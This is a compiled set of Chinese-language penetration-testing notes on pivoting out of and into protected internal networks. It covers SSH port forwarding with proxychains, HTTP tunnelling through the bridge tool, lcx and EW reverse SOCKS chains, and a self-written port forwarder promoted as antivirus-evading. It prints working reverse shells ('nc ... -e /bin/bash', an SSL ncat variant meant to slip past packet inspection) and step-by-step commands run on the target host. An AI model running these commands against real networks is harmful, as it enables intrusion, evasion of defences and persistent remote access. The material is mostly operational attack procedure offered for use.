  192.168.0.230 80          192.168.0.230     22
2)内网主机上SSH远程端口转发如下
ssh root@192.168.0.230 -p 80 -f -N -R 2022:127.0.0.1:22
(输入外网主机的SSH口令)
3)在外网主机上直接ssh内网主机如下
ssh -p 2022 avfisher@127.0.0.1
(输入内网主机的SSH口令)
方法三:SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网
1)在内网主机上执行
ssh -f -N -R 2222:127.0.0.1:22 -p 80 root@192.168.0.230
(输入外网主机的SSH口令)

2)在外网主机上执行
ssh -f -N -D 127.0.0.1:8080 -p 2222 avfisher@127.0.0.1
(输入内网主机的SSH口令)
3)在外网主机上配置proxychains设置socks4代理
$ vim /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8080
4) 使用proxychains代理所有流量进入内网
proxychains nc -nv 10.0.2.5 3306

场景三:内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网

思路:由于防火墙仅允许HTTP流量出去外网,可选择的方案将会受到很大限制,但是其中一种方案是HTTP隧道技术
方法:将payload的协议封装在HTTP协议中

1)在外网主机上安装brigde (https://github.com/luizluca/bridge)

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge
$ nc -lvvp 8080

2)在内网主机上安装bridge
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080
$ nc -nv 127.0.0.1 8080 -e /bin/bash

一旦建立了HTTP隧道,后面的操作可以结合前2个场景中的方法。
场景四:内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量
思路:该场景比场景三更加苛刻,在场景三中我们将流量封装在HTTP协议中来Bypass检测,但是流量本身都是明文传输,所以一旦目标内网检测HTTP流量,我们还是可能被拦截,因此我们需要对场景三中的思路稍加修改,即利用SSL或者SSH加密流量在结合HTTP隧道技术。这样封装在HTTP协议中的流量本身也是加密的,检测系统就无法发现真实的payload了。
方法:利用SSL或者SSH加密流量在结合HTTP隧道技术

1)与场景三中的方法类似,先在外网主机上安装brigde
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge

2)在外网主机上开启使用了ssl加密的ncat监听进程,如下
ncat -lvvp 8080 --ssl
3)在内网主机上安装bridge
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080
4)同样地,在内网主机上使用ssl与监听主机通信
ncat -nv 127.0.0.1 8080 -e /bin/bash --ssl


SSH加密端口转发流量的操作可参照场景二中的方法二和三。

场景五:内网主机完全与外网不通
思路:既然该内网主机与外网都不通,那为什么还浪费时间非要借助于这个主机来做内网穿透呢?换个思路,找个能通的内网主机在穿透出来吧。
方法:都找到了能通外网的内网主机了,那么其他场景里提到的方法应该就能解决你的问题了吧…


0x02 小结

本文尝试从不同场景切入分析和总结,从内网限制的宽松到严苛,来逐个探讨可行的Bypass方案,算是抛砖引玉吧,更多地方法和思路会不断丰富和更新进来。

from  http://web.archive.org/web/20191108165618/http://avfisher.win/archives/733
----------------

Lcx和EW

Lcx

最为经典而且也是最为频繁的端口转发工具,是一个基于socket套接字实现的端口转发工具,从linux下的htran移植给Windows的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
比如要转发目标机器10.48.128.25的3389端口

在目标机器10.48.128.25上执行

lcx.exe slave 139.XXX.XX.113 9000 10.48.128.25 3389

此段命令意思是将目标机器3389端口的所有数据都转发到公网VPS的9000端口上

在VPS上执行
lcx.exe listen 9000 5555

此段命令意思是将本机9000端口上监听到的所有数据转发到本机的5555端口上

在PC机上用mstsc登陆139.XXX.XX.113:5555或者在VPS上用mstsc登陆127.0.0.1:5555即可访问右侧内部网络中10.48.128.25服务器的3389端口

Lcx工具实现的是一对一的端口转发如果想访问网络中列出的所有端口就必须一次次的重复lcx的转发过程效率相当低下而且服务器都是有装有杀毒软件的即使有做免杀也不能保证绕过所有的杀毒

像这种情况就可以用到socks代理在10.48.128.25这台既能连接互联网又能连接内网的WEB服务器上架设代理

EW

提供五种管道:

1
2
3
4
5
ssocksd :   正向代理
rssocks :   反向代理
lcx_slave:  该管道一侧通过反弹方式连接代理请求,另一侧连接代理提供主机
lcx_tran :   该管道通过监听本地端口代理请求,并转发给代理提供主机
lcx_listen : 该管道通过监听本地端口接收数据,并将其转发给目标网络回连的代理提供主机
  1. 正向socks5代理

适用于目标机器拥有一个外网IP

1
2
3
ew_for_win32.exe -s ssocksd -l 8888

上述命令架设了一个端口为888,SOCKS的代理。然后使用sockscap64添加这个IP的代理就可以使用了。比较简单就不演示了。
  1. 反弹socks5代理

适用于目标机器没有公网IP,但可访问内网资源

1
2
3
4
5
#公网机器 把1080端口的代理请求转发给8888端口
ew_for_win32.exe -s rcsocks -l 1080 -e 8888

#内网机器 开启socks5代理并反弹到公网机器的8888端口
ew_for_win32.exe -s rssocks -d 192.168.1.175 -e 8888
  1. 二级网络环境 (一)
1
2
3
4
5
6
7
8
#A主机存在双网卡,外网IP,可连接目标网络内主机B
#B主机不能访问外网,能连接A

#B先启动socks代理
ew_for_win32.exe -s ssocksd -l 8888

#A 将1080收到的代理请求转发给B的8888端口
ew_for_win32.exe -s lcx_tran -l 1080 -f 192.168.99.101 -g 8888
  1. 二级网络环境 (二)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#A主机存在双网卡,内网IP,可连接目标网络内主机B和外网
#B主机不能访问外网,能连接A

#VPS下 将8899收到的代理请求转交给反连8888的主机
ew_for_win32.exe -s lcx_listen -l 8899 -e 8888

#B主机下 开启9999端口的socks代理
ew_for_win32.exe -s ssocksd -l 9999

#A主机下 将公网的8888和内网B的9999连接起来
ew_for_win32.exe -s lcx_slave -d vpsIP -e 8888 -f 192.168.99.101 -g 9999
  1. 三级网络环境
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#A没有公网IP但是可以访问外网,B不能访问外网但是可以被A主机访问、C可以被B访问而且能访问核心区域

#VPS 
ew_for_win32.exe -s rcsocks -l 1080 -e 8888

#A主机 将VPS的8888与B主机的9999的端口连接起来
ew_for_win32.exe -s lcx_slave -d VPSIP -e 8888 -f BIP -g 9999

#B主机 将9999收到的代理请求转发给7777端口
ew_for_win32.exe -s lcx_listen -l 9999 -e 7777

#C主机 启动socks服务,并反弹到B主机的7777端口
ew_for_win32.exe -s rssocks -d BIP -e 7777

socks -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

----------------------------

Windows上的一个端口转发工具

一.前言

lcx是个非常经典的转发工具,但是lcx现在被杀的厉害。而据说,源码免杀才是王道。所以,我产生了自己编写个功能类似lcx的端口转发工具的想法。写完后经过10多天的测试。现在发布正式版v1.0。

二.程序特色(相对lcx.exe而言)

1.不会秒断。(重点) 相信玩过内网,或者服务器3389需要转发的很多人都遇到过一个问题,就是lcx有些时候会秒断,导致以后无法正常远程登录。本程序可以抗秒断,这个是经 过实际测试的。有一位机油使用lcx转发,远程登录时秒断,无法正常连接。我上去,使用本程序直接秒杀,连接一直很正常。
2.免杀 写本程序的初衷,是因为lcx被杀的太厉害了,而lcx又很喜欢,我比较喜欢,所以就萌生了自己写一个类似功能的工具的想法。源码免杀才是王道,这是写本程序的出发点。免杀证明:http://r.virscan.org/report/ab95ca1a134a0a1a9d4c82c387e9fc7a.html

三.程序简介

1.程序说明:
我没有读过Lcx的源码,本软件是由我自己构思和编写的,只是功能与lcx.exe类似而已。
2.程序用法:
PortTransfer.exe -listen leftPort rightPort -remote leftIp leftPort rightIp rightPort -trans  leftPort rightIp rightPort
3.程序抽象:
我把远程连接到目的主机想象成从左到右的连接。mstsc在左,远程主机在右.这样,left与right意思就很明显了,难道不是吗? 4.使用实例: 假设虚拟机中有Windows XP系统,物理主机需要远程连接它。我们可以这样:(假设物理主机IP地址为1.1.1.1)
1).物理机上,执行
PortTransfer.exe -listen 5001 5002
2).虚拟机中,执行
PortTransfer.exe -remote 1.1.1.1 5002 127.0.0.1 3389
3).物理机中,执行
PortTransfer.exe -trans   6001 127.0.0.1 5001
这一步可以不要,也可以使用多次。添加-trans功能,是为了支持多跳转发,2跳,3跳,4跳,等等,应该都是可以的。也就是说,这一步可以执行0次,或者n次. 4).然后,启动mstsc,连接本机 6001 端口,既可连上。 5.支持平台:Windows XP/2003/2003 r2/2008/2008 r2/Vista/7/8。32和64位机器均可以使用。如果以后有需要,可能会发布linux版。至于其他平台,为测试过,如果不支持,也将不予考虑支持。

四.后记

1.关于版权:既然是发布出来的,仅供测试,请勿用于非法目的。
2.说明:程序必然还存在bug或者不合理的地方,欢迎反馈。如果有必要,我会更新的。反馈就写在本帖的评论中。

五.下载地址

链接: http://pan.baidu.com/s/1i4OQyUD 密码: a5kn
--------------------------------

几种常见Socks5代理工具的使用

EW

该工具已经停止更新,fork地址

现在攻击机执行:

ew_for_Win.exe -s rcsocks -l 1080 -e 1234

然后在靶机执行:

./ew_for_linux64 -s rssocks -d 192.168.150.1 -e 1234